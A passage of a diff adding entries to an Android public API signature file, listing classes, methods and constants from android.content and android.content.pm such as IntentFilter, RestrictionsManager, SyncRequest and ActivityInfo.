+    field public static final int URI_ALLOW_UNSAFE = 4; // 0x4
+    field public static final int URI_ANDROID_APP_SCHEME = 2; // 0x2
+    field public static final int URI_INTENT_SCHEME = 1; // 0x1
+  }
+
+  public static final class Intent.FilterComparison {
+    ctor public Intent.FilterComparison(android.content.Intent);
+    method public android.content.Intent getIntent();
+  }
+
+  public static class Intent.ShortcutIconResource implements android.os.Parcelable {
+    ctor public Intent.ShortcutIconResource();
+    method public int describeContents();
+    method public static android.content.Intent.ShortcutIconResource fromContext(android.content.Context, @AnyRes int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.Intent.ShortcutIconResource> CREATOR;
+    field public String packageName;
+    field public String resourceName;
+  }
+
+  public class IntentFilter implements android.os.Parcelable {
+    ctor public IntentFilter();
+    ctor public IntentFilter(String);
+    ctor public IntentFilter(String, String) throws android.content.IntentFilter.MalformedMimeTypeException;
+    ctor public IntentFilter(android.content.IntentFilter);
+    method public final java.util.Iterator<java.lang.String> actionsIterator();
+    method public final void addAction(String);
+    method public final void addCategory(String);
+    method public final void addDataAuthority(String, String);
+    method public final void addDataPath(String, int);
+    method public final void addDataScheme(String);
+    method public final void addDataSchemeSpecificPart(String, int);
+    method public final void addDataType(String) throws android.content.IntentFilter.MalformedMimeTypeException;
+    method public final java.util.Iterator<android.content.IntentFilter.AuthorityEntry> authoritiesIterator();
+    method public final java.util.Iterator<java.lang.String> categoriesIterator();
+    method public final int countActions();
+    method public final int countCategories();
+    method public final int countDataAuthorities();
+    method public final int countDataPaths();
+    method public final int countDataSchemeSpecificParts();
+    method public final int countDataSchemes();
+    method public final int countDataTypes();
+    method public static android.content.IntentFilter create(String, String);
+    method public final int describeContents();
+    method public void dump(android.util.Printer, String);
+    method public final String getAction(int);
+    method public final String getCategory(int);
+    method public final android.content.IntentFilter.AuthorityEntry getDataAuthority(int);
+    method public final android.os.PatternMatcher getDataPath(int);
+    method public final String getDataScheme(int);
+    method public final android.os.PatternMatcher getDataSchemeSpecificPart(int);
+    method public final String getDataType(int);
+    method public final int getPriority();
+    method public final boolean hasAction(String);
+    method public final boolean hasCategory(String);
+    method public final boolean hasDataAuthority(android.net.Uri);
+    method public final boolean hasDataPath(String);
+    method public final boolean hasDataScheme(String);
+    method public final boolean hasDataSchemeSpecificPart(String);
+    method public final boolean hasDataType(String);
+    method public final int match(android.content.ContentResolver, android.content.Intent, boolean, String);
+    method public final int match(String, String, String, android.net.Uri, java.util.Set<java.lang.String>, String);
+    method public final boolean matchAction(String);
+    method public final String matchCategories(java.util.Set<java.lang.String>);
+    method public final int matchData(String, String, android.net.Uri);
+    method public final int matchDataAuthority(android.net.Uri);
+    method public final java.util.Iterator<android.os.PatternMatcher> pathsIterator();
+    method public void readFromXml(org.xmlpull.v1.XmlPullParser) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method public final java.util.Iterator<android.os.PatternMatcher> schemeSpecificPartsIterator();
+    method public final java.util.Iterator<java.lang.String> schemesIterator();
+    method public final void setPriority(int);
+    method public final java.util.Iterator<java.lang.String> typesIterator();
+    method public final void writeToParcel(android.os.Parcel, int);
+    method public void writeToXml(org.xmlpull.v1.XmlSerializer) throws java.io.IOException;
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.IntentFilter> CREATOR;
+    field public static final int MATCH_ADJUSTMENT_MASK = 65535; // 0xffff
+    field public static final int MATCH_ADJUSTMENT_NORMAL = 32768; // 0x8000
+    field public static final int MATCH_CATEGORY_EMPTY = 1048576; // 0x100000
+    field public static final int MATCH_CATEGORY_HOST = 3145728; // 0x300000
+    field public static final int MATCH_CATEGORY_MASK = 268369920; // 0xfff0000
+    field public static final int MATCH_CATEGORY_PATH = 5242880; // 0x500000
+    field public static final int MATCH_CATEGORY_PORT = 4194304; // 0x400000
+    field public static final int MATCH_CATEGORY_SCHEME = 2097152; // 0x200000
+    field public static final int MATCH_CATEGORY_SCHEME_SPECIFIC_PART = 5767168; // 0x580000
+    field public static final int MATCH_CATEGORY_TYPE = 6291456; // 0x600000
+    field public static final int NO_MATCH_ACTION = -3; // 0xfffffffd
+    field public static final int NO_MATCH_CATEGORY = -4; // 0xfffffffc
+    field public static final int NO_MATCH_DATA = -2; // 0xfffffffe
+    field public static final int NO_MATCH_TYPE = -1; // 0xffffffff
+    field public static final int SYSTEM_HIGH_PRIORITY = 1000; // 0x3e8
+    field public static final int SYSTEM_LOW_PRIORITY = -1000; // 0xfffffc18
+  }
+
+  public static final class IntentFilter.AuthorityEntry {
+    ctor public IntentFilter.AuthorityEntry(String, String);
+    method public String getHost();
+    method public int getPort();
+    method public int match(android.net.Uri);
+  }
+
+  public static class IntentFilter.MalformedMimeTypeException extends android.util.AndroidException {
+    ctor public IntentFilter.MalformedMimeTypeException();
+    ctor public IntentFilter.MalformedMimeTypeException(String);
+  }
+
+  public class IntentSender implements android.os.Parcelable {
+    method public int describeContents();
+    method public String getCreatorPackage();
+    method public int getCreatorUid();
+    method public android.os.UserHandle getCreatorUserHandle();
+    method @Deprecated public String getTargetPackage();
+    method public static android.content.IntentSender readIntentSenderOrNullFromParcel(android.os.Parcel);
+    method public void sendIntent(android.content.Context, int, android.content.Intent, android.content.IntentSender.OnFinished, android.os.Handler) throws android.content.IntentSender.SendIntentException;
+    method public void sendIntent(android.content.Context, int, android.content.Intent, android.content.IntentSender.OnFinished, android.os.Handler, String) throws android.content.IntentSender.SendIntentException;
+    method public static void writeIntentSenderOrNullToParcel(android.content.IntentSender, android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.IntentSender> CREATOR;
+  }
+
+  public static interface IntentSender.OnFinished {
+    method public void onSendFinished(android.content.IntentSender, android.content.Intent, int, String, android.os.Bundle);
+  }
+
+  public static class IntentSender.SendIntentException extends android.util.AndroidException {
+    ctor public IntentSender.SendIntentException();
+    ctor public IntentSender.SendIntentException(String);
+    ctor public IntentSender.SendIntentException(Exception);
+  }
+
+  @Deprecated public class Loader<D> {
+    ctor @Deprecated public Loader(android.content.Context);
+    method @Deprecated public void abandon();
+    method @Deprecated public boolean cancelLoad();
+    method @Deprecated public void commitContentChanged();
+    method @Deprecated public String dataToString(D);
+    method @Deprecated public void deliverCancellation();
+    method @Deprecated public void deliverResult(D);
+    method @Deprecated public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
+    method @Deprecated public void forceLoad();
+    method @Deprecated public android.content.Context getContext();
+    method @Deprecated public int getId();
+    method @Deprecated public boolean isAbandoned();
+    method @Deprecated public boolean isReset();
+    method @Deprecated public boolean isStarted();
+    method @Deprecated protected void onAbandon();
+    method @Deprecated protected boolean onCancelLoad();
+    method @Deprecated public void onContentChanged();
+    method @Deprecated protected void onForceLoad();
+    method @Deprecated protected void onReset();
+    method @Deprecated protected void onStartLoading();
+    method @Deprecated protected void onStopLoading();
+    method @Deprecated public void registerListener(int, android.content.Loader.OnLoadCompleteListener<D>);
+    method @Deprecated public void registerOnLoadCanceledListener(android.content.Loader.OnLoadCanceledListener<D>);
+    method @Deprecated public void reset();
+    method @Deprecated public void rollbackContentChanged();
+    method @Deprecated public final void startLoading();
+    method @Deprecated public void stopLoading();
+    method @Deprecated public boolean takeContentChanged();
+    method @Deprecated public void unregisterListener(android.content.Loader.OnLoadCompleteListener<D>);
+    method @Deprecated public void unregisterOnLoadCanceledListener(android.content.Loader.OnLoadCanceledListener<D>);
+  }
+
+  @Deprecated public final class Loader.ForceLoadContentObserver extends android.database.ContentObserver {
+    ctor @Deprecated public Loader.ForceLoadContentObserver();
+  }
+
+  @Deprecated public static interface Loader.OnLoadCanceledListener<D> {
+    method @Deprecated public void onLoadCanceled(android.content.Loader<D>);
+  }
+
+  @Deprecated public static interface Loader.OnLoadCompleteListener<D> {
+    method @Deprecated public void onLoadComplete(android.content.Loader<D>, D);
+  }
+
+  public final class LocusId implements android.os.Parcelable {
+    ctor public LocusId(@NonNull String);
+    method public int describeContents();
+    method @NonNull public String getId();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.LocusId> CREATOR;
+  }
+
+  public class MutableContextWrapper extends android.content.ContextWrapper {
+    ctor public MutableContextWrapper(android.content.Context);
+    method public void setBaseContext(android.content.Context);
+  }
+
+  public class OperationApplicationException extends java.lang.Exception {
+    ctor public OperationApplicationException();
+    ctor public OperationApplicationException(String);
+    ctor public OperationApplicationException(String, Throwable);
+    ctor public OperationApplicationException(Throwable);
+    ctor public OperationApplicationException(int);
+    ctor public OperationApplicationException(String, int);
+    method public int getNumSuccessfulYieldPoints();
+  }
+
+  public class PeriodicSync implements android.os.Parcelable {
+    ctor public PeriodicSync(android.accounts.Account, String, android.os.Bundle, long);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.PeriodicSync> CREATOR;
+    field public final android.accounts.Account account;
+    field public final String authority;
+    field public final android.os.Bundle extras;
+    field public final long period;
+  }
+
+  public class QuickViewConstants {
+    field public static final String FEATURE_DELETE = "android:delete";
+    field public static final String FEATURE_DOWNLOAD = "android:download";
+    field public static final String FEATURE_EDIT = "android:edit";
+    field public static final String FEATURE_PRINT = "android:print";
+    field public static final String FEATURE_SEND = "android:send";
+    field public static final String FEATURE_VIEW = "android:view";
+  }
+
+  public class ReceiverCallNotAllowedException extends android.util.AndroidRuntimeException {
+    ctor public ReceiverCallNotAllowedException(String);
+  }
+
+  public class RestrictionEntry implements android.os.Parcelable {
+    ctor public RestrictionEntry(int, String);
+    ctor public RestrictionEntry(String, String);
+    ctor public RestrictionEntry(String, boolean);
+    ctor public RestrictionEntry(String, String[]);
+    ctor public RestrictionEntry(String, int);
+    ctor public RestrictionEntry(android.os.Parcel);
+    method public static android.content.RestrictionEntry createBundleArrayEntry(String, android.content.RestrictionEntry[]);
+    method public static android.content.RestrictionEntry createBundleEntry(String, android.content.RestrictionEntry[]);
+    method public int describeContents();
+    method public String[] getAllSelectedStrings();
+    method public String[] getChoiceEntries();
+    method public String[] getChoiceValues();
+    method public String getDescription();
+    method public int getIntValue();
+    method public String getKey();
+    method public android.content.RestrictionEntry[] getRestrictions();
+    method public boolean getSelectedState();
+    method public String getSelectedString();
+    method public String getTitle();
+    method public int getType();
+    method public void setAllSelectedStrings(String[]);
+    method public void setChoiceEntries(String[]);
+    method public void setChoiceEntries(android.content.Context, @ArrayRes int);
+    method public void setChoiceValues(String[]);
+    method public void setChoiceValues(android.content.Context, @ArrayRes int);
+    method public void setDescription(String);
+    method public void setIntValue(int);
+    method public void setRestrictions(android.content.RestrictionEntry[]);
+    method public void setSelectedState(boolean);
+    method public void setSelectedString(String);
+    method public void setTitle(String);
+    method public void setType(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.RestrictionEntry> CREATOR;
+    field public static final int TYPE_BOOLEAN = 1; // 0x1
+    field public static final int TYPE_BUNDLE = 7; // 0x7
+    field public static final int TYPE_BUNDLE_ARRAY = 8; // 0x8
+    field public static final int TYPE_CHOICE = 2; // 0x2
+    field public static final int TYPE_INTEGER = 5; // 0x5
+    field public static final int TYPE_MULTI_SELECT = 4; // 0x4
+    field public static final int TYPE_NULL = 0; // 0x0
+    field public static final int TYPE_STRING = 6; // 0x6
+  }
+
+  public class RestrictionsManager {
+    method public static android.os.Bundle convertRestrictionsToBundle(java.util.List<android.content.RestrictionEntry>);
+    method public android.content.Intent createLocalApprovalIntent();
+    method public android.os.Bundle getApplicationRestrictions();
+    method public java.util.List<android.content.RestrictionEntry> getManifestRestrictions(String);
+    method public boolean hasRestrictionsProvider();
+    method public void notifyPermissionResponse(String, android.os.PersistableBundle);
+    method public void requestPermission(String, String, android.os.PersistableBundle);
+    field public static final String ACTION_PERMISSION_RESPONSE_RECEIVED = "android.content.action.PERMISSION_RESPONSE_RECEIVED";
+    field public static final String ACTION_REQUEST_LOCAL_APPROVAL = "android.content.action.REQUEST_LOCAL_APPROVAL";
+    field public static final String ACTION_REQUEST_PERMISSION = "android.content.action.REQUEST_PERMISSION";
+    field public static final String EXTRA_PACKAGE_NAME = "android.content.extra.PACKAGE_NAME";
+    field public static final String EXTRA_REQUEST_BUNDLE = "android.content.extra.REQUEST_BUNDLE";
+    field public static final String EXTRA_REQUEST_ID = "android.content.extra.REQUEST_ID";
+    field public static final String EXTRA_REQUEST_TYPE = "android.content.extra.REQUEST_TYPE";
+    field public static final String EXTRA_RESPONSE_BUNDLE = "android.content.extra.RESPONSE_BUNDLE";
+    field public static final String META_DATA_APP_RESTRICTIONS = "android.content.APP_RESTRICTIONS";
+    field public static final String REQUEST_KEY_APPROVE_LABEL = "android.request.approve_label";
+    field public static final String REQUEST_KEY_DATA = "android.request.data";
+    field public static final String REQUEST_KEY_DENY_LABEL = "android.request.deny_label";
+    field public static final String REQUEST_KEY_ICON = "android.request.icon";
+    field public static final String REQUEST_KEY_ID = "android.request.id";
+    field public static final String REQUEST_KEY_MESSAGE = "android.request.mesg";
+    field public static final String REQUEST_KEY_NEW_REQUEST = "android.request.new_request";
+    field public static final String REQUEST_KEY_TITLE = "android.request.title";
+    field public static final String REQUEST_TYPE_APPROVAL = "android.request.type.approval";
+    field public static final String RESPONSE_KEY_ERROR_CODE = "android.response.errorcode";
+    field public static final String RESPONSE_KEY_MESSAGE = "android.response.msg";
+    field public static final String RESPONSE_KEY_RESPONSE_TIMESTAMP = "android.response.timestamp";
+    field public static final String RESPONSE_KEY_RESULT = "android.response.result";
+    field public static final int RESULT_APPROVED = 1; // 0x1
+    field public static final int RESULT_DENIED = 2; // 0x2
+    field public static final int RESULT_ERROR = 5; // 0x5
+    field public static final int RESULT_ERROR_BAD_REQUEST = 1; // 0x1
+    field public static final int RESULT_ERROR_INTERNAL = 3; // 0x3
+    field public static final int RESULT_ERROR_NETWORK = 2; // 0x2
+    field public static final int RESULT_NO_RESPONSE = 3; // 0x3
+    field public static final int RESULT_UNKNOWN_REQUEST = 4; // 0x4
+  }
+
+  public class SearchRecentSuggestionsProvider extends android.content.ContentProvider {
+    ctor public SearchRecentSuggestionsProvider();
+    method public int delete(android.net.Uri, String, String[]);
+    method public String getType(android.net.Uri);
+    method public android.net.Uri insert(android.net.Uri, android.content.ContentValues);
+    method public boolean onCreate();
+    method public android.database.Cursor query(android.net.Uri, String[], String, String[], String);
+    method protected void setupSuggestions(String, int);
+    method public int update(android.net.Uri, android.content.ContentValues, String, String[]);
+    field public static final int DATABASE_MODE_2LINES = 2; // 0x2
+    field public static final int DATABASE_MODE_QUERIES = 1; // 0x1
+  }
+
+  public interface ServiceConnection {
+    method public default void onBindingDied(android.content.ComponentName);
+    method public default void onNullBinding(android.content.ComponentName);
+    method public void onServiceConnected(android.content.ComponentName, android.os.IBinder);
+    method public void onServiceDisconnected(android.content.ComponentName);
+  }
+
+  public interface SharedPreferences {
+    method public boolean contains(String);
+    method public android.content.SharedPreferences.Editor edit();
+    method public java.util.Map<java.lang.String,?> getAll();
+    method public boolean getBoolean(String, boolean);
+    method public float getFloat(String, float);
+    method public int getInt(String, int);
+    method public long getLong(String, long);
+    method @Nullable public String getString(String, @Nullable String);
+    method @Nullable public java.util.Set<java.lang.String> getStringSet(String, @Nullable java.util.Set<java.lang.String>);
+    method public void registerOnSharedPreferenceChangeListener(android.content.SharedPreferences.OnSharedPreferenceChangeListener);
+    method public void unregisterOnSharedPreferenceChangeListener(android.content.SharedPreferences.OnSharedPreferenceChangeListener);
+  }
+
+  public static interface SharedPreferences.Editor {
+    method public void apply();
+    method public android.content.SharedPreferences.Editor clear();
+    method public boolean commit();
+    method public android.content.SharedPreferences.Editor putBoolean(String, boolean);
+    method public android.content.SharedPreferences.Editor putFloat(String, float);
+    method public android.content.SharedPreferences.Editor putInt(String, int);
+    method public android.content.SharedPreferences.Editor putLong(String, long);
+    method public android.content.SharedPreferences.Editor putString(String, @Nullable String);
+    method public android.content.SharedPreferences.Editor putStringSet(String, @Nullable java.util.Set<java.lang.String>);
+    method public android.content.SharedPreferences.Editor remove(String);
+  }
+
+  public static interface SharedPreferences.OnSharedPreferenceChangeListener {
+    method public void onSharedPreferenceChanged(android.content.SharedPreferences, String);
+  }
+
+  public class SyncAdapterType implements android.os.Parcelable {
+    ctor public SyncAdapterType(String, String, boolean, boolean);
+    ctor public SyncAdapterType(android.os.Parcel);
+    method public boolean allowParallelSyncs();
+    method public int describeContents();
+    method public String getSettingsActivity();
+    method public boolean isAlwaysSyncable();
+    method public boolean isUserVisible();
+    method public static android.content.SyncAdapterType newKey(String, String);
+    method public boolean supportsUploading();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.SyncAdapterType> CREATOR;
+    field public final String accountType;
+    field public final String authority;
+    field public final boolean isKey;
+  }
+
+  public class SyncContext {
+    method public android.os.IBinder getSyncContextBinder();
+    method public void onFinished(android.content.SyncResult);
+  }
+
+  public class SyncInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public final android.accounts.Account account;
+    field public final String authority;
+    field public final long startTime;
+  }
+
+  public class SyncRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.SyncRequest> CREATOR;
+  }
+
+  public static class SyncRequest.Builder {
+    ctor public SyncRequest.Builder();
+    method public android.content.SyncRequest build();
+    method public android.content.SyncRequest.Builder setDisallowMetered(boolean);
+    method public android.content.SyncRequest.Builder setExpedited(boolean);
+    method public android.content.SyncRequest.Builder setExtras(android.os.Bundle);
+    method public android.content.SyncRequest.Builder setIgnoreBackoff(boolean);
+    method public android.content.SyncRequest.Builder setIgnoreSettings(boolean);
+    method public android.content.SyncRequest.Builder setManual(boolean);
+    method public android.content.SyncRequest.Builder setNoRetry(boolean);
+    method public android.content.SyncRequest.Builder setRequiresCharging(boolean);
+    method @NonNull public android.content.SyncRequest.Builder setScheduleAsExpeditedJob(boolean);
+    method public android.content.SyncRequest.Builder setSyncAdapter(android.accounts.Account, String);
+    method public android.content.SyncRequest.Builder syncOnce();
+    method public android.content.SyncRequest.Builder syncPeriodic(long, long);
+  }
+
+  public final class SyncResult implements android.os.Parcelable {
+    ctor public SyncResult();
+    method public void clear();
+    method public int describeContents();
+    method public boolean hasError();
+    method public boolean hasHardError();
+    method public boolean hasSoftError();
+    method public boolean madeSomeProgress();
+    method public String toDebugString();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final android.content.SyncResult ALREADY_IN_PROGRESS;
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.SyncResult> CREATOR;
+    field public boolean databaseError;
+    field public long delayUntil;
+    field public boolean fullSyncRequested;
+    field public boolean moreRecordsToGet;
+    field public boolean partialSyncUnavailable;
+    field public final android.content.SyncStats stats;
+    field public final boolean syncAlreadyInProgress;
+    field public boolean tooManyDeletions;
+    field public boolean tooManyRetries;
+  }
+
+  public class SyncStats implements android.os.Parcelable {
+    ctor public SyncStats();
+    ctor public SyncStats(android.os.Parcel);
+    method public void clear();
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.SyncStats> CREATOR;
+    field public long numAuthExceptions;
+    field public long numConflictDetectedExceptions;
+    field public long numDeletes;
+    field public long numEntries;
+    field public long numInserts;
+    field public long numIoExceptions;
+    field public long numParseExceptions;
+    field public long numSkippedEntries;
+    field public long numUpdates;
+  }
+
+  public interface SyncStatusObserver {
+    method public void onStatusChanged(int);
+  }
+
+  public class UriMatcher {
+    ctor public UriMatcher(int);
+    method public void addURI(String, String, int);
+    method public int match(android.net.Uri);
+    field public static final int NO_MATCH = -1; // 0xffffffff
+  }
+
+  public final class UriPermission implements android.os.Parcelable {
+    method public int describeContents();
+    method public long getPersistedTime();
+    method public android.net.Uri getUri();
+    method public boolean isReadPermission();
+    method public boolean isWritePermission();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.UriPermission> CREATOR;
+    field public static final long INVALID_TIME = -9223372036854775808L; // 0x8000000000000000L
+  }
+
+}
+
+package android.content.pm {
+
+  public class ActivityInfo extends android.content.pm.ComponentInfo implements android.os.Parcelable {
+    ctor public ActivityInfo();
+    ctor public ActivityInfo(android.content.pm.ActivityInfo);
+    method public int describeContents();
+    method public void dump(android.util.Printer, String);
+    method public final int getThemeResource();
+    field public static final int COLOR_MODE_DEFAULT = 0; // 0x0
+    field public static final int COLOR_MODE_HDR = 2; // 0x2
+    field public static final int COLOR_MODE_WIDE_COLOR_GAMUT = 1; // 0x1
+    field public static final int CONFIG_COLOR_MODE = 16384; // 0x4000
+    field public static final int CONFIG_DENSITY = 4096; // 0x1000
+    field public static final int CONFIG_FONT_SCALE = 1073741824; // 0x40000000
+    field public static final int CONFIG_FONT_WEIGHT_ADJUSTMENT = 268435456; // 0x10000000
+    field public static final int CONFIG_KEYBOARD = 16; // 0x10
+    field public static final int CONFIG_KEYBOARD_HIDDEN = 32; // 0x20
+    field public static final int CONFIG_LAYOUT_DIRECTION = 8192; // 0x2000
+    field public static final int CONFIG_LOCALE = 4; // 0x4
+    field public static final int CONFIG_MCC = 1; // 0x1
+    field public static final int CONFIG_MNC = 2; // 0x2
+    field public static final int CONFIG_NAVIGATION = 64; // 0x40
+    field public static final int CONFIG_ORIENTATION = 128; // 0x80
+    field public static final int CONFIG_SCREEN_LAYOUT = 256; // 0x100
+    field public static final int CONFIG_SCREEN_SIZE = 1024; // 0x400
+    field public static final int CONFIG_SMALLEST_SCREEN_SIZE = 2048; // 0x800
+    field public static final int CONFIG_TOUCHSCREEN = 8; // 0x8
+    field public static final int CONFIG_UI_MODE = 512; // 0x200
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.ActivityInfo> CREATOR;
+    field public static final int DOCUMENT_LAUNCH_ALWAYS = 2; // 0x2
+    field public static final int DOCUMENT_LAUNCH_INTO_EXISTING = 1; // 0x1
+    field public static final int DOCUMENT_LAUNCH_NEVER = 3; // 0x3
+    field public static final int DOCUMENT_LAUNCH_NONE = 0; // 0x0
+    field public static final int FLAG_ALLOW_TASK_REPARENTING = 64; // 0x40
+    field public static final int FLAG_ALWAYS_RETAIN_TASK_STATE = 8; // 0x8
+    field public static final int FLAG_AUTO_REMOVE_FROM_RECENTS = 8192; // 0x2000
+    field public static final int FLAG_CLEAR_TASK_ON_LAUNCH = 4; // 0x4
+    field public static final int FLAG_ENABLE_VR_MODE = 32768; // 0x8000
+    field public static final int FLAG_EXCLUDE_FROM_RECENTS = 32; // 0x20
+    field public static final int FLAG_FINISH_ON_CLOSE_SYSTEM_DIALOGS = 256; // 0x100
+    field public static final int FLAG_FINISH_ON_TASK_LAUNCH = 2; // 0x2
+    field public static final int FLAG_HARDWARE_ACCELERATED = 512; // 0x200
+    field public static final int FLAG_IMMERSIVE = 2048; // 0x800
+    field public static final int FLAG_MULTIPROCESS = 1; // 0x1
+    field public static final int FLAG_NO_HISTORY = 128; // 0x80
+    field public static final int FLAG_PREFER_MINIMAL_POST_PROCESSING = 33554432; // 0x2000000
+    field public static final int FLAG_RELINQUISH_TASK_IDENTITY = 4096; // 0x1000
+    field public static final int FLAG_RESUME_WHILE_PAUSING = 16384; // 0x4000
+    field public static final int FLAG_SINGLE_USER = 1073741824; // 0x40000000
+    field public static final int FLAG_STATE_NOT_NEEDED = 16; // 0x10
+    field public static final int LAUNCH_MULTIPLE = 0; // 0x0
+    field public static final int LAUNCH_SINGLE_INSTANCE = 3; // 0x3
+    field public static final int LAUNCH_SINGLE_INSTANCE_PER_TASK = 4; // 0x4
+    field public static final int LAUNCH_SINGLE_TASK = 2; // 0x2
+    field public static final int LAUNCH_SINGLE_TOP = 1; // 0x1
+    field public static final int PERSIST_ACROSS_REBOOTS = 2; // 0x2
+    field public static final int PERSIST_NEVER = 1; // 0x1
+    field public static final int PERSIST_ROOT_ONLY = 0; // 0x0
+    field public static final int SCREEN_ORIENTATION_BEHIND = 3; // 0x3
+    field public static final int SCREEN_ORIENTATION_FULL_SENSOR = 10; // 0xa
+    field public static final int SCREEN_ORIENTATION_FULL_USER = 13; // 0xd
+    field public static final int SCREEN_ORIENTATION_LANDSCAPE = 0; // 0x0
+    field public static final int SCREEN_ORIENTATION_LOCKED = 14; // 0xe
+    field public static final int SCREEN_ORIENTATION_NOSENSOR = 5; // 0x5
+    field public static final int SCREEN_ORIENTATION_PORTRAIT = 1; // 0x1
+    field public static final int SCREEN_ORIENTATION_REVERSE_LANDSCAPE = 8; // 0x8
+    field public static final int SCREEN_ORIENTATION_REVERSE_PORTRAIT = 9; // 0x9
+    field public static final int SCREEN_ORIENTATION_SENSOR = 4; // 0x4
+    field public static final int SCREEN_ORIENTATION_SENSOR_LANDSCAPE = 6; // 0x6
+    field public static final int SCREEN_ORIENTATION_SENSOR_PORTRAIT = 7; // 0x7
+    field public static final int SCREEN_ORIENTATION_UNSPECIFIED = -1; // 0xffffffff
+    field public static final int SCREEN_ORIENTATION_USER = 2; // 0x2
+    field public static final int SCREEN_ORIENTATION_USER_LANDSCAPE = 11; // 0xb
+    field public static final int SCREEN_ORIENTATION_USER_PORTRAIT = 12; // 0xc
+    field public static final int UIOPTION_SPLIT_ACTION_BAR_WHEN_NARROW = 1; // 0x1
+    field public int colorMode;
+    field public int configChanges;
+    field public int documentLaunchMode;
+    field public int flags;
+    field public int launchMode;
+    field public int maxRecents;
+    field public String parentActivityName;
+    field public String permission;
+    field public int persistableMode;
+    field public int screenOrientation;
+    field public int softInputMode;
+    field public String targetActivity;
+    field public String taskAffinity;
+    field public int theme;
+    field public int uiOptions;
+    field public android.content.pm.ActivityInfo.WindowLayout windowLayout;
+  }
+
+  public static final class ActivityInfo.WindowLayout {
+    ctor public ActivityInfo.WindowLayout(int, float, int, float, int, int, int);
+    field public final int gravity;
+    field public final int height;
+    field public final float heightFraction;
+    field public final int minHeight;
+    field public final int minWidth;
+    field public final int width;
+    field public final float widthFraction;
+  }
+
+  public final class ApkChecksum implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public java.security.cert.Certificate getInstallerCertificate() throws java.security.cert.CertificateException;
+    method @Nullable public String getInstallerPackageName();
+    method @Nullable public String getSplitName();
+    method public int getType();
+    method @NonNull public byte[] getValue();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.ApkChecksum> CREATOR;
+  }
+
+  public class ApplicationInfo extends android.content.pm.PackageItemInfo implements android.os.Parcelable {
+    ctor public ApplicationInfo();
+    ctor public ApplicationInfo(android.content.pm.ApplicationInfo);
+    method public boolean areAttributionsUserVisible();
+    method public int describeContents();
+    method public void dump(android.util.Printer, String);
+    method public static CharSequence getCategoryTitle(android.content.Context, int);
+    method public int getGwpAsanMode();
+    method public int getMemtagMode();
+    method public int getNativeHeapZeroInitialized();
+    method public int getRequestRawExternalStorageAccess();
+    method public boolean isProfileable();
+    method public boolean isProfileableByShell();
+    method public boolean isResourceOverlay();
+    method public boolean isVirtualPreload();
+    method public CharSequence loadDescription(android.content.pm.PackageManager);
+    field public static final int CATEGORY_ACCESSIBILITY = 8; // 0x8
+    field public static final int CATEGORY_AUDIO = 1; // 0x1
+    field public static final int CATEGORY_GAME = 0; // 0x0
+    field public static final int CATEGORY_IMAGE = 3; // 0x3
+    field public static final int CATEGORY_MAPS = 6; // 0x6
+    field public static final int CATEGORY_NEWS = 5; // 0x5
+    field public static final int CATEGORY_PRODUCTIVITY = 7; // 0x7
+    field public static final int CATEGORY_SOCIAL = 4; // 0x4
+    field public static final int CATEGORY_UNDEFINED = -1; // 0xffffffff
+    field public static final int CATEGORY_VIDEO = 2; // 0x2
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.ApplicationInfo> CREATOR;
+    field public static final int FLAG_ALLOW_BACKUP = 32768; // 0x8000
+    field public static final int FLAG_ALLOW_CLEAR_USER_DATA = 64; // 0x40
+    field public static final int FLAG_ALLOW_TASK_REPARENTING = 32; // 0x20
+    field public static final int FLAG_DEBUGGABLE = 2; // 0x2
+    field public static final int FLAG_EXTERNAL_STORAGE = 262144; // 0x40000
+    field public static final int FLAG_EXTRACT_NATIVE_LIBS = 268435456; // 0x10000000
+    field public static final int FLAG_FACTORY_TEST = 16; // 0x10
+    field public static final int FLAG_FULL_BACKUP_ONLY = 67108864; // 0x4000000
+    field public static final int FLAG_HARDWARE_ACCELERATED = 536870912; // 0x20000000
+    field public static final int FLAG_HAS_CODE = 4; // 0x4
+    field public static final int FLAG_INSTALLED = 8388608; // 0x800000
+    field public static final int FLAG_IS_DATA_ONLY = 16777216; // 0x1000000
+    field @Deprecated public static final int FLAG_IS_GAME = 33554432; // 0x2000000
+    field public static final int FLAG_KILL_AFTER_RESTORE = 65536; // 0x10000
+    field public static final int FLAG_LARGE_HEAP = 1048576; // 0x100000
+    field public static final int FLAG_MULTIARCH = -2147483648; // 0x80000000
+    field public static final int FLAG_PERSISTENT = 8; // 0x8
+    field public static final int FLAG_RESIZEABLE_FOR_SCREENS = 4096; // 0x1000
+    field public static final int FLAG_RESTORE_ANY_VERSION = 131072; // 0x20000
+    field public static final int FLAG_STOPPED = 2097152; // 0x200000
+    field public static final int FLAG_SUPPORTS_LARGE_SCREENS = 2048; // 0x800
+    field public static final int FLAG_SUPPORTS_NORMAL_SCREENS = 1024; // 0x400
+    field public static final int FLAG_SUPPORTS_RTL = 4194304; // 0x400000
